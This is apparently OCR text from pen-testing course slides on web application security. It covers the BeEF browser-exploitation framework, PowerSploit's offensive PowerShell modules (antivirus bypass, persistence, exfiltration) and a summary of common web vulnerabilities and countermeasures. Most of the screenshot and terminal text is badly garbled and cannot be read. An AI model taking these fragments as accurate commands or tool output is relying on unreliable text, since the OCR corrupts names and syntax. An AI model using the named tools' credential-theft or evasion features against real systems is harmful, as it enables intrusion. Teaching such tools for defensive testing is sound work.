¥ BefF Csfapha | Subed Bug | Leges
rinoeed Beowvsers
& jCring Brgugeny
55 152 18884128 t1a = Commands - = I
B 50153800

g Brawiars

Cwrrent Browser

MHodule Results bisstory Command rendis
g oate acel )

] SN-1G-22 TB34  comrmod 1

sicess_f submdl es
a¥izass_! sakmi =
createfvent in

Gat Siorad Crederan
Rgpace HREF) 3 MRV PR ] iy { T DR Mg e
Rapace EREF (Chou Eviessy) & 15 (Ferscrpteonongt far{var asipass_terl lasinass_fev

Rieplace MREFs (72
& Crense Liert Daeg

Creast Prormpr Daiog

& Feglace o

& Reciace Vs

http:/fbeefproject.com Secument reaiebemeny Gloms s nest

eement set&tribute] fram

Copyright © by EG-Eomneil. All Rights Reserved. Reproduction is Strictly Prohibited.




Web Application Pen Testing
Framework: PowerSploit

PowerSploit is a collection of Microsoft
PowerShell modules that can be used
to aid reverse engineers, forensic
analysts, and penetration testers
during all phases of an assessment

Some of the PowerSploit modules and
scripts:

& CodeExecution
& ScriptModification

Persistence
VN

® VI

PETools
ReverseEngineering
AntivirusBypass

Exfiltration

rooti@kali; fusrish :rrm'p ow rr:plnit

gt wore about commands pot L thi

name means that the commarnd is disabled,

keymap] [-f filen=
1tin [arg ...]1]

[] PATTERN]. [}

FII!I!P}._{_':-’L’I‘EIIJU.IIJ.LUIM
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. Module Summary

e

_—

Organizations today rely heavily on web applications and Web 2.0 technologies
to support key business processes and improve performance

With increasing dependence, web applications and web services are increasingly being targeted
by various attacks that results in huge revenue loss for the organizations

Some of the major web application vulnerabilities include injection flaws, cross-site scripting
(XSS), SQL injection, security misconfiguration, broken session management, etc.

Input validation flaws are a major concern as attackers can exploit these flaws to perform or
create a base for most of the web application attacks, including cross-site scripting, buffer
overflow, injection attacks, etc.

It is also observed that most of the vulnerabilities result because of misconfiguration and not
following standard security practices

Common countermeasures for web application security include secure application
development, input validation, creating and following security best practices, using WAF
Firewall/IDS and performing regular auditing of network using web application security tools
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